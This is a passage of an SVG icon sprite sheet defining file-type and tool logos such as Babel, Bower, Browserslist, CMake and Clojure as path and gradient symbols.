stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apn" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#apf"/><linearGradient id="apf" x1="1.911" x2=".204" y1="2.539" y2=".204"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="apo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#apg"/><linearGradient id="apg" x1="-3.881" x2="2.377" y1="-1.738" y2="5.19"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="app" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#aph"/><linearGradient id="aph" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><g transform="rotate(11.282 -1.694 21.569) scale(.47102)" clip-rule="evenodd" fill="none" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#api)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#apj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#apk)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#apl)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#apm)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#apn)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#apo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#app)"/></g></symbol><symbol viewBox="0 0 24 24" id="autohotkey" xmlns="http://www.w3.org/2000/svg"><path d="M5 3c-1.11 0-2 .89-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2H5zm3.668 3.447a.9.9 0 0 1 .652.256.84.84 0 0 1 .262.625c0 .34-.014.852-.041 1.537-.022.68-.033 1.19-.033 1.53 0 .111-.016.326-.047.644a6.149 6.149 0 0 0-.033.68l2.578-.485c1.007-.179 1.874-.281 2.603-.308.018-.3.048-1.105.088-2.416.01-.345.115-.742.317-1.19.25-.55.533-.826.851-.826.237 0 .448.08.631.236.197.17.295.382.295.637a.775.775 0 0 1-.025.201c-.09.327-.135.612-.135.854 0 .125-.014.32-.041.584-.023.26-.033.453-.033.578 0 .425-.022 1.056-.067 1.893a38.963 38.963 0 0 0-.068 1.892c0 .327.025.816.074 1.465.05.649.074 1.136.074 1.463a.84.84 0 0 1-.261.625.893.893 0 0 1-.65.254 1 1 0 0 1-.686-.254.777.777 0 0 1-.29-.611c0-.327-.015-.818-.046-1.471a39.552 39.552 0 0 1-.041-1.47c0-.256.004-.482.013-.679-.702.032-1.57.142-2.603.33-.86.157-1.719.316-2.578.477-.01.304-.042.812-.096 1.523a22.354 22.354 0 0 0-.066 1.538.84.84 0 0 1-.262.625.893.893 0 0 1-.65.253.898.898 0 0 1-.653-.253.84.84 0 0 1-.262-.625c0-.452.038-1.128.114-2.028.08-.9.12-1.575.12-2.027 0-.573.015-1.436.042-2.586.027-1.155.04-2.017.04-2.59a.84.84 0 0 1 .263-.625.895.895 0 0 1 .65-.256z" fill="#4caf50"/></symbol><symbol viewBox="0 0 24 24" id="autoit" xmlns="http://www.w3.org/2000/svg"><defs id="ardefs8"><style id="arstyle4482">.cls-1{fill:#5d83ac}.cls-2{fill:#f0f0f0;fill-rule:evenodd}</style><style id="arstyle4510">.cls-1{fill:#5d83ac}.cls-2{fill:#f0f0f0;fill-rule:evenodd}</style></defs><g id="arg4522" transform="translate(-59.538 -26.404) scale(.0555)"><path d="M12.8 2.133A10.666 10.666 0 0 0 2.136 12.799 10.666 10.666 0 0 0 12.8 23.465a10.666 10.666 0 0 0 10.668-10.666A10.666 10.666 0 0 0 12.8 2.133zm.15 4.713c.456 0 .836.105 1.142.314.306.21.565.469.78.78l6.089 8.812H9.627l1.82-2.506h3.36c.315 0 .589.01.822.03a11.93 11.93 0 0 1-.473-.663 39.13 39.13 0 0 0-.517-.75l-1.748-2.578-4.577 6.467H4.746l6.25-8.813c.204-.281.46-.534.772-.757.31-.224.705-.336 1.181-.336z" transform="matrix(16.89188 0 0 16.89188 1072.761 475.745)" id="arcircle4514" fill="#1976d2" stroke-width=".026"/></g></symbol><symbol viewBox="0 0 213.33333 213.33333" id="babel" xmlns="http://www.w3.org/2000/svg"><path d="M50.22 199.659c-.875-.406-1.261-1.6-.857-2.652.404-1.053.12-1.914-.63-1.914s-1.615.748-1.92 1.663c-.328.983-1.27.302-2.304-1.667-.962-1.831-3.718-5.533-6.126-8.226-9.418-10.535-7.71-27.444 5.432-53.77 12.459-24.96 23.117-39.033 45.966-60.696 30.229-28.66 52.679-46.223 70.587-55.22 10.98-5.518 13.025-5.059 2.778.624-11.004 6.102-11.378 6.359-10.512 7.226.33.33 7.306-2.67 15.504-6.667 15.87-7.737 16.34-7.912 16.34-6.082 0 .652-4.95 3.738-11 6.858-13.062 6.736-12.722 6.48-10.472 7.872 1.117.69 5.428-.582 11.54-3.406 5.367-2.48 10.397-4.508 11.179-4.508 2.755 0-3.928 5.302-11.541 9.157-20.437 10.35-68.937 46.043-68.07 50.097.166.777-5.792 7.639-13.241 15.248-15.257 15.587-26.14 30.002-33.748 44.706-6.379 12.326-7.457 17.734-5.385 26.996 3.482 15.56 11.592 18.366 31.482 10.895 28.228-10.603 45.758-28.704 47.022-48.556.602-9.442-1.317-13.479-8.52-17.93-4.01-2.48-5.268-2.621-12.065-1.365-4.173.771-10.153 2.906-13.289 4.744s-6.455 3.34-7.377 3.34c-.922 0-3.216 1.336-5.096 2.968-1.88 1.633.48-1.13 5.247-6.14 6.82-7.167 7.956-8.9 5.333-8.132-5.208 1.525-10.194 4.33-15.649 8.803-2.76 2.264-.923.175 4.08-4.641 11.565-11.131 21.183-15.97 33.088-16.641 17.097-.966 27.254 5.805 31.964 21.31 2.435 8.017 2.609 10.24 1.353 17.37-1.65 9.361-7.034 21.553-15.593 35.307-4.398 7.067-8.434 11.427-15.588 16.844-9.166 6.94-15.654 11.02-15.654 9.845 0-.295 2.455-2.161 5.455-4.147 8.818-5.835 5.075-5.377-8.326 1.02-6.854 3.27-15.199 6.593-18.542 7.38-7.106 1.675-30.527 3.164-32.846 2.089zm-8.408-19.899c0-1.1-.6-2-1.333-2-.734 0-1.334.9-1.334 2s.6 2 1.333 2c.734 0 1.334-.9 1.334-2zm89.255-8.204c1.53-1.945 2.473-3.845 2.097-4.222-.377-.377-.836-.435-1.02-.13-.182.306-1.787 2.206-3.565 4.223-1.778 2.016-2.571 3.666-1.763 3.666s2.72-1.591 4.25-3.536zm-77.644-1.745c-.82-2.172-1.74-3.7-2.045-3.396-.951.952 1.088 7.345 2.343 7.345.656 0 .522-1.777-.298-3.95zm82.303-27.915c-.837-.837-3.217 2.55-3.184 4.53.012.734.896.178 1.965-1.235 1.07-1.413 1.618-2.896 1.219-3.295zm-66.238-36.904c-1.312-1.312-3.676.702-3.676 3.133 0 2.035.175 2.031 2.254-.047 1.24-1.24 1.88-2.628 1.422-3.086zm39.657.768c4.403-2.196 6.8-3.986 5.333-3.982-2.838.01-16.667 6.028-16.667 7.254 0 1.6 3.717.527 11.333-3.272zm16.667-5.333c0-.733-.9-1.333-2-1.333s-2 .6-2 1.333.9 1.333 2 1.333 2-.6 2-1.333zm-3.334-3.923l5.334-1.104-7.334-.133c-4.033-.073-8.233.45-9.333 1.16-2.539 1.64 3.572 1.682 11.333.077zm35.738-63.976c2.788-1.69 4.765-3.376 4.393-3.748-.947-.947-11.942 5.654-14.237 8.548-1.792 2.258-1.714 2.276 1.44.329a1452.76 1452.76 0 0 1 8.403-5.13z" fill="#ffca28" stroke-width="1.333"/></symbol><symbol viewBox="0 0 400 400" fill-opacity=".05" id="bithound" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.88 0 0 .88 24.121 2.895)" fill="#e53935" fill-opacity="1"><path d="M370.5 207c-1.5-14.8-4.8-29.9-9.5-44-13.5-40.3-38.6-81.6-70.3-110.1-1.4-1.2-6.7-4.4-8.7-3.3-5.2 2.9 4.6 22.8 5.8 26.4 7.4 22 12.1 45.3 6.8 68.3-7.1 30.4-30.4 51.7-61.5 54.3-17.1 1.4-34.3-.5-51.4 1.5-25.6 3-51.7 11.8-68 32.8-1.9 2.4-3.6 5.1-5.2 7.9h-.4c-6.3.7-12.6-2-15.7-3.7-.8-.5-1.6-.9-2.2-1.2-19-10.5-33-34-41.6-53.4-3.9-9-7.2-18.4-9.3-27.9-1-4.3-1.1-8.8-1.3-13.2-.1-2.7.3-6.5-1.2-8.9-3.3-5.2-7.5-.2-8.2 4-1.1 6.9-2.1 13.7-1.8 20.7.5 11.8 3.8 23.5 8 34.5 6.2 16.2 14.9 31.1 26.2 44.4 4.7 5.5 9.7 10.6 15.1 15.3 4.8 4.3 10.9 7.7 14.5 13.2 4.2 6.3 4.9 14.1 4.5 21.4-1 19.3-1.6 37.4 3.9 56.2 4.8 16.7 10.8 33.8 20.8 48.1 5 7.1 11.2 14.6 18 19.9 4.6 3.6 13.3 4 8.3-9.2-11.1-29.3-12.1-59.7 5.2-87.1 14.5-22.8 40.1-43.1 69-39.5 42.5 5.3 72.1 44.3 70 86-.6 11.7-1 21.7-4.7 32.7-1.5 4.4-2.6 10-1.5 14.6 1.8 7.8 10.5 4.9 14.3-.2 10.3-14 21.1-27.6 30.8-42 31.6-47.2 47-101.8 41.3-158.5z"/><path d="M132.4 92.1c.7 2.3 1.4 4.8 1.9 7.5.1 1.1.4 2.3 1 3.4 2.6 6.8 8.9 10.5 14.8 14 3.6 2.2 10.1 4.3 14.1 5.9 5.2 2.1 16.4-.6 21.7-1 12.2-1 23.5-5.3 34.7 1.2-57.4 67.3-3.2 82.3 38.8 49.9 48-37 2.8-124.3 2.8-124.3s-1-6.8-19.2-10.8c-1.7-.9-3.4-1.7-5.1-2.4-18-8.3-34.2 5.3-47.2 16.4-3.8 3.2-7.5 6.4-11.5 9.4-5.4 4-11.2 7.3-17.3 10.2-6.4 3-14 6.4-21.1 6.7-1 0-2.9.2-4.9.6-3.1.3-4.7 1.1-5.4 2.5-1.2 1-2 2.4-1.8 4.2.2 2.5 1.4 4.6 2.7 6.2.4.1.7.3 1 .4z"/></g></symbol><symbol viewBox="0 0 400.00001 399.99999" id="bower" xmlns="http://www.w3.org/2000/svg"><g transform="translate(12.061 33.203) scale(.81733)"><path d="M447.61 200.08c-23.139-22.234-138.85-36.114-175.36-40.154a107.137 107.137 0 0 0 4.517-12.944 146.107 146.107 0 0 1 15.905-5.901c.677 1.997 3.865 9.648 5.682 13.279 73.415 2.025 77.184-54.557 80.17-70.058 2.92-15.157 2.771-29.802 27.953-56.575-37.516-10.933-91.467 16.945-109.54 58.437-6.79-2.545-13.597-4.424-20.328-5.586-4.824-19.46-29.944-73.672-95.863-73.672-83.46 0-174.43 68.853-174.43 185.41 0 97.976 66.891 183.84 104.68 183.84 16.505 0 30.703-12.36 34.036-23.44 2.795 7.597 11.368 31.213 14.184 37.225 4.162 8.89 23.41 16.583 31.833 7.357 10.83 6.017 30.703 9.641 41.534-6.405 20.86 4.412 39.3-8.026 39.702-22.868 10.235-.546 15.256-14.918 13.021-26.363-1.647-8.426-19.248-38.66-26.113-49.098 13.59 11.054 48.013 14.183 52.194.007 21.911 17.198 56.057 8.171 58.765-5.815 26.624 6.917 57.16-8.276 52.146-26.676 42.771-2.958 37.296-48.464 25.296-59.996z" fill="#543729" stroke-width=".973"/><path d="M328.514 103.025c9.212-18.277 20.788-38.234 35.409-50.58-16.093 6.485-31.981 25.873-41.375 46.595a144.914 144.914 0 0 0-14.552-8.132c13.105-27.972 43.555-51.332 77.112-53.157-22.477 20.385-14.498 62.754-32.979 85.183-5.288-5.311-17.43-15.562-23.615-19.909zm-14.53 29.762c.01-.7.272-6.094.763-8.557-1.288-.304-9.3-1.87-13.476-1.772-.304 5.245 2.204 14.17 4.684 19.541 17.075-.358 29.408-5.471 36.667-10.172-6.18-2.88-16.726-5.442-24.745-6.974-.894 1.851-3.097 6.568-3.892 7.934z" fill="#00acee"/><g stroke-width=".973"><path d="M250.54 277.39c.004.024.015.057.018.082-2.165-4.657-4.463-10.314-7.208-17.708 10.688 15.557 44.184 7.533 42.427-6.407 16.395 12.336 50.143-2.055 42.471-19.353 16.423 7.653 35.168-7.745 30.964-14.455 28 5.4 54.832 10.783 63.256 12.938-5.595 9.123-18.339 15.566-37.549 11.089 10.38 14.14-9.773 31.105-37.844 21.76 6.18 13.883-18.814 26.38-47.22 11.91.361 13.889-35.24 15.488-49.315.143zm55.543-70.194c32.497 2.495 86.238 7.34 119.51 11.997-2.102-10.828-7.844-13.921-25.905-18.772-19.425 2.072-68.706 6.913-93.604 6.776z" fill="#2baf2b"/><path d="M285.78 253.36c16.395 12.336 50.143-2.055 42.471-19.353 16.423 7.653 35.168-7.745 30.964-14.455-33.103-6.383-67.84-12.788-75.719-13.908 4.78.254 12.702.797 22.59 1.556 24.899.137 74.18-4.704 93.604-6.775-31.452-7.975-95.666-19.613-140.01-22.48-2.055 3.003-5.833 8.097-12.413 13.51-19.403 41.053-54.557 68.34-93.454 68.34-11.335 0-24.018-1.912-38.233-6.456-8.865 9.497-46.661 16.694-77.329 1.641 24.326 56.961 80.74 94.984 143.19 94.984 52.591 0 75.912-53.704 70.808-67.914-1.238-3.45-6.145-14.889-8.891-22.283 10.689 15.556 44.185 7.532 42.429-6.408z" fill="#ffcc2f"/><path d="M253.91 145.27c4.644-2.526 20.69-12.253 35.981-15.908a67.843 67.843 0 0 1-.536-5.12c-10.032 2.403-28.945 10.51-39.784-.661 22.866 6.9 34.283-6.149 51.09-6.149 10.014 0 24.305 2.798 35.57 7.22-9.061-8.37-38.772-33.63-75.558-33.717-8.213 9.957-17.09 31.526-6.764 54.334z" fill="#cecece"/><path d="M115.58 253.33c14.215 4.544 26.898 6.457 38.233 6.457 38.896 0 74.05-27.29 93.454-68.341-14.351 11.978-39.291 22.228-78.241 22.228 34.694-7.866 64.56-25.156 79.753-50.427-10.68-16.998-22.263-54.603 7.07-84.33-4.512-14.497-26.475-52.766-75.095-52.766-84.85 0-155.17 71.001-155.17 166.15 0 22.525 4.547 43.65 12.67 62.664 30.666 15.054 68.462 7.858 77.327-1.64z" fill="#ef5734"/><path d="M141.03 108.45c0 21.644 17.546 39.191 39.19 39.191s39.192-17.548 39.192-39.191c0-21.644-17.548-39.191-39.192-39.191-21.644 0-39.19 17.547-39.19 39.191z" fill="#ffcc2f"/><path d="M156.76 108.45c0 12.958 10.507 23.463 23.463 23.463 12.96 0 23.464-10.506 23.464-23.463 0-12.959-10.504-23.464-23.464-23.464-12.957 0-23.463 10.506-23.463 23.464z" fill="#543729"/><ellipse cx="180.22" cy="98.044" rx="13.673" ry="8.501" fill="#fff"/></g></g></symbol><symbol viewBox="0 0 140 140" id="browserlist" xmlns="http://www.w3.org/2000/svg"><title>Browserslist logo</title><path d="M70.314 10.066a59.828 59.828 0 0 0-59.828 59.828 59.828 59.828 0 0 0 59.828 59.828 59.828 59.828 0 0 0 59.828-59.828 59.828 59.828 0 0 0-59.828-59.828zm-4.836 8.785c.496 4.043 1.352 7.322 2.572 10.223 4.779-4.287 10.265-7.546 16.041-9.02-.981 3.938-1.357 7.295-1.261 10.43 6.026-2.314 12.349-3.404 18.3-2.706-3.182 2.413-5.482 4.717-7.128 7.015-2.201 12.074 6.858 20.43 14.779 24.551a5.128 5.128 0 0 1 5.183-3.888 5.128 5.128 0 0 1 3.7 8.435v.002c-.487 1.055-2.002 2.343-3.497 3.219-4.075 2.39-11.172 5.736-20.914 7.39.045 1.214.077 2.453.077 3.747 0 4.817-.485 8.291-1.385 10.699-3.3 13.313-12.648 26.76-24.695 31.95.357-4.083.197-7.485-.402-10.591-5.582 3.218-11.646 5.278-17.623 5.52h-.002c1.785-3.662 2.855-6.878 3.412-9.976-6.347.996-12.727.742-18.377-1.17 2.93-2.732 5.054-5.314 6.673-7.96-6.292-1.344-12.169-3.87-16.766-7.686 3.822-1.544 6.795-3.239 9.3-5.197-5.426-3.517-10.034-7.998-12.972-13.23 4.012-.07 7.321-.568 10.3-1.453-3.786-5.215-6.468-11.032-7.333-16.951 3.861 1.405 7.196 2.133 10.36 2.355-1.662-6.22-2.081-12.605-.768-18.436 3.03 2.634 5.824 4.48 8.63 5.815.678-6.406 2.576-12.52 5.893-17.496 1.926 3.622 3.914 6.391 6.111 8.672 2.93-5.754 6.9-10.798 11.791-14.262zm26.465 19.557c-2.395 5.514-1.665 11.297-.555 18.732a2.138 2.138 0 0 0 .28-4.178 3.419 3.419 0 1 1 .092 6.704c.574 3.882 1.157 8.18 1.421 13.125a67.143 67.143 0 0 0 3.25-.649c6.616-1.487 12.258-3.801 16.871-6.506.45-.264.884-.563 1.276-.867.366-.557.333-.957.035-1.285-4.831-1.245-10.891-4.53-15.258-8.795-4.764-4.653-7.428-10.164-7.412-16.281z" fill="#ffca28" stroke-width=".855"/></symbol><symbol viewBox="0 0 140 140" id="browserlist_light" xmlns="http://www.w3.org/2000/svg"><title>Browserslist logo</title><g transform="translate(10.823 10.1)" stroke-width=".855"><circle cx="59.492" cy="59.795" r="59.828" fill="#ffca28"/><path d="M54.656 8.752c-4.89 3.464-8.862 8.508-11.791 14.262-2.198-2.28-4.185-5.05-6.111-8.672-3.318 4.976-5.216 11.09-5.893 17.496-2.807-1.335-5.6-3.18-8.63-5.814-1.314 5.83-.895 12.216.767 18.436-3.164-.223-6.498-.95-10.36-2.356.865 5.92 3.548 11.737 7.333 16.951-2.978.885-6.287 1.383-10.3 1.453 2.939 5.233 7.547 9.714 12.972 13.23-2.505 1.959-5.478 3.654-9.299 5.198 4.596 3.815 10.474 6.341 16.766 7.685-1.62 2.647-3.743 5.228-6.674 7.96 5.65 1.912 12.03 2.166 18.377 1.17-.556 3.098-1.626 6.314-3.412 9.975h.002c5.977-.24 12.042-2.3 17.623-5.52.6 3.108.76 6.51.402 10.593 12.047-5.19 21.395-18.638 24.695-31.951.9-2.408 1.385-5.881 1.385-10.7 0-1.293-.031-2.531-.076-3.745 9.742-1.655 16.839-5.001 20.914-7.39 1.494-.877 3.01-2.165 3.496-3.22v-.002a5.128 5.128 0 0 0-3.7-8.435 5.128 5.128 0 0 0-5.183 3.889c-7.92-4.122-16.98-12.477-14.779-24.551 1.646-2.299 3.947-4.603 7.13-7.016-5.952-.698-12.276.392-18.302 2.707-.095-3.135.28-6.492 1.262-10.43-5.776 1.473-11.262 4.733-16.041 9.02-1.22-2.902-2.076-6.18-2.572-10.223zm26.465 19.557c-.015 6.117 2.648 11.628 7.412 16.281 4.366 4.265 10.426 7.55 15.258 8.795.298.328.331.728-.035 1.285-.392.304-.825.603-1.275.867-4.613 2.704-10.256 5.019-16.871 6.506-1.071.24-2.154.458-3.25.649-.265-4.945-.848-9.243-1.422-13.125a3.419 3.419 0 1 0-.092-6.703 2.138 2.138 0 0 1-.28 4.177c-1.11-7.435-1.84-13.218.555-18.732z" fill="#37474f"/></g></symbol><symbol viewBox="0 0 24 24" id="bucklescript" xmlns="http://www.w3.org/2000/svg"><path d="M3 3v18h18V3H3zm14.1 8.858a5.5 5.5 0 0 1 1.26.145c.417.093.778.213 1.082.357v1.723h-.18a3.281 3.281 0 0 0-.959-.603 2.867 2.867 0 0 0-1.155-.247c-.14 0-.277.011-.416.035a1.4 1.4 0 0 0-.395.12.756.756 0 0 0-.291.231.54.54 0 0 0-.123.348c0 .198.065.35.196.456.13.104.376.2.738.288.237.057.466.11.683.164.22.054.455.128.706.222.496.188.86.444 1.095.77.238.32.357.738.357 1.253 0 .737-.271 1.336-.813 1.798-.538.46-1.27.689-2.197.689a5.447 5.447 0 0 1-1.402-.161 6.725 6.725 0 0 1-1.117-.416v-1.794h.183c.344.318.73.563 1.155.734.429.17.839.256 1.233.256.1 0 .235-.01.4-.03.166-.02.3-.055.403-.102a.97.97 0 0 0 .313-.225c.084-.09.127-.223.127-.4a.568.568 0 0 0-.183-.424c-.119-.12-.294-.213-.526-.276-.243-.067-.5-.128-.773-.185a5.523 5.523 0 0 1-.76-.227c-.544-.204-.936-.48-1.177-.828-.237-.351-.357-.786-.357-1.305 0-.697.27-1.265.81-1.703.54-.442 1.235-.663 2.083-.663zm-8.981.135h2.51c.521 0 .903.02 1.143.06.243.041.484.13.721.266.246.144.43.338.548.583.121.24.181.518.181.83 0 .36-.082.68-.247.959a1.697 1.697 0 0 1-.7.642v.04c.423.098.758.298 1.004.603.249.305.373.706.373 1.205 0 .361-.063.686-.19.97-.125.285-.296.52-.516.707a2.31 2.31 0 0 1-.845.472c-.304.094-.69.141-1.159.141H8.12v-7.478zm1.659 1.372v1.582h.262c.263 0 .486-.007.672-.017.185-.01.332-.043.44-.1.15-.077.248-.175.294-.295.046-.124.07-.266.07-.427a.91.91 0 0 0-.083-.371.518.518 0 0 0-.282-.277 1.187 1.187 0 0 0-.456-.086c-.18-.007-.433-.01-.76-.01h-.157zm0 2.873V18.1H9.9c.469 0 .804-.002 1.007-.006.202-.003.39-.046.56-.13a.712.712 0 0 0 .357-.33c.067-.142.099-.302.099-.483 0-.237-.04-.42-.121-.547-.078-.13-.214-.228-.405-.291a1.842 1.842 0 0 0-.538-.072 49.47 49.47 0 0 0-.716-.003h-.366z" fill="#26a69a" stroke-width="1.067"/></symbol><symbol viewBox="0 0 24 24" id="c" xmlns="http://www.w3.org/2000/svg"><path d="M15.45 15.97l.42 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96-1.14-1.27-1.68-2.88-1.68-4.83C6 9.9 6.68 8.13 8 6.89 9.28 5.64 10.92 5 12.9 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.6 2.49-1.04-.34c-.4-.1-.87-.15-1.4-.15-1.15-.01-2.11.36-2.86 1.1-.76.73-1.14 1.85-1.18 3.34.01 1.36.37 2.42 1.08 3.2.71.77 1.7 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.09-.32z" fill="#0277bd"/></symbol><symbol viewBox="0 0 300 300" id="cabal" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -822.52)" fill-rule="evenodd" color="#000"><rect transform="matrix(-.98339 .18149 .60192 .79856 0 0)" x="405.55" y="967.22" width="107.25" height="156.59" rx="12.306" ry="12.31" fill="#2d9bbd"/><rect transform="matrix(-.98528 .17093 -.59175 .80612 0 0)" x="-1156.5" y="1461.9" width="108.34" height="123.15" rx="10.69" ry="12.31" fill="#4a4bcd"/><path d="M52.112 965.158c-1.343 3.515-26.292 23.248-25.744 27.277.548 4.03 29.812 16.023 32.04 19.027s10.545 41.668 13.603 42.5 18.828-31.274 21.548-32.932c2.72-1.658 32.808 2.503 34.15-1.01 1.343-3.515-18.174-35.352-18.721-39.381-.548-4.03 9.732-40.12 7.502-43.125-2.229-3.005-30.06 9.427-33.118 8.594-3.059-.833-26.793-27.3-29.514-25.643-2.72 1.657-.405 41.177-1.747 44.693z" fill="#2e5bc1"/></g></symbol><symbol viewBox="0 0 24 24" id="cake" xmlns="http://www.w3.org/2000/svg"><path d="M12.254 6.621a1.807 1.807 0 0 0 1.808-1.807c0-.344-.09-.66-.262-.932l-1.546-2.684-1.546 2.684a1.72 1.72 0 0 0-.262.932 1.808 1.808 0 0 0 1.808 1.807m4.158 9.04l-.967-.976-.976.976c-1.175 1.166-3.236 1.175-4.42 0l-.959-.976-.994.976a3.134 3.134 0 0 1-3.977.353v4.167a.904.904 0 0 0 .904.904h14.463a.904.904 0 0 0 .904-.904v-4.167a3.134 3.134 0 0 1-3.977-.353m1.265-6.328h-4.52V7.525H11.35v1.808H6.83a2.712 2.712 0 0 0-2.711 2.712v1.392c0 .977.795 1.772 1.771 1.772.489 0 .94-.18 1.248-.515l1.952-1.926 1.908 1.926c.669.669 1.835.669 2.504 0l1.916-1.926 1.944 1.926c.316.334.768.515 1.247.515.976 0 1.78-.795 1.78-1.772v-1.392a2.712 2.712 0 0 0-2.711-2.712z" fill="#ff7043" stroke-width=".904"/></symbol><symbol viewBox="0 0 24 24" id="certificate" xmlns="http://www.w3.org/2000/svg"><path d="M4 3c-1.11 0-2 .89-2 2v10a2 2 0 0 0 2 2h8v5l3-3 3 3v-5h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2H4m8 2l3 2 3-2v3.5l3 1.5-3 1.5V15l-3-2-3 2v-3.5L9 10l3-1.5V5M4 5h5v2H4V5m0 4h3v2H4V9m0 4h5v2H4v-2z" fill="#ff5722"/></symbol><symbol viewBox="0 0 24 24" id="changelog" xmlns="http://www.w3.org/2000/svg"><path d="M11 7v5.11l4.71 2.79.79-1.28-4-2.37V7m0-5C8.97 2 5.91 3.92 4.27 6.77L2 4.5V11h6.5L5.75 8.25C6.96 5.73 9.5 4 12.5 4a7.5 7.5 0 0 1 7.5 7.5 7.5 7.5 0 0 1-7.5 7.5c-3.27 0-6.03-2.09-7.06-5h-2.1c1.1 4.03 4.77 7 9.16 7 5.24 0 9.5-4.25 9.5-9.5A9.5 9.5 0 0 0 12.5 2z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 24 24" id="clojure" xmlns="http://www.w3.org/2000/svg"><path d="M3.355 1.78c-.845 0-1.525.68-1.525 1.525v17.441c0 .845.68 1.525 1.525 1.525h17.442c.845 0 1.525-.68 1.525-1.525V3.305c0-.845-.68-1.526-1.525-1.526H3.355zm6.168 2.572h1.963l6.368 14.931H15.93l-3.38-8.086-3.349 8.086H7.21l4.346-10.38-2.032-4.551z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="cmake" xmlns="http://www.w3.org/2000/svg"><path d="M11.99 2.965L2.977 20.999l9.874-8.47-.863-9.564z" fill="#1e88e5"/><path d="M12.007 2.963l.002.29 1.312 14.498-.001.006.023.26 7.362 2.979h.416l-.158-.311-.114-.228h-.002l-8.84-17.494z" fill="#e53935"/><path d="M8.607 16.11L2.98 20.995h17.743v-.016L8.607 16.11z" fill="#7cb342"/></symbol><symbol class="bfmain_logo__svg" viewBox="0 0 300 300.00001" id="code-climate" xmlns="http://www.w3.org/2000/svg"><path class="bfsymbol" d="M196.19 75.562l-51.846 51.561 30.766 30.766 21.08-21.08 59.252 59.537 30.481-30.766zm-61.246 60.961l-30.481-30.481-78.053 78.053-11.964 11.964 30.766 30.766 11.964-12.249 39.596-39.312 7.691-7.691 30.481 30.48 28.772 28.773 30.766-30.766-28.772-28.772z" fill="#eee" stroke-width="2.849"/></symbol><symbol class="bgmain_logo__svg" viewBox="0 0 300 300.00001" id="code-climate_light" xmlns="http://www.w3.org/2000/svg"><path class="bgsymbol" d="M196.19 75.562l-51.846 51.561 30.766 30.766 21.08-21.08 59.252 59.537 30.481-30.766zm-61.246 60.961l-30.481-30.481-78.053 78.053-11.964 11.964 30.766 30.766 11.964-12.249 39.596-39.312 7.691-7.691 30.481 30.48 28.772 28.773 30.766-30.766-28.772-28.772z" fill="#455a64" stroke-width="2.849"/></symbol><symbol viewBox="0 0 24 24" id="coffee" xmlns="http://www.w3.org/2000/svg"><path d="M2 21h18v-2H2M20 8h-2V5h2m0-2H4v10a4 4 0 0 0 4 4h6a4 4 0 0 0 4-4v-3h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="coldfusion" xmlns="http://www.w3.org/2000/svg"><rect transform="rotate(90)" x="2.283" y="-21.86" width="19.487" height="19.487" ry="0" fill="#0d3858" stroke="#4dd0e1" stroke-width=".7"/><text x="6.653" y="16.426" fill="#4dd0e1" font-family="Calibri" 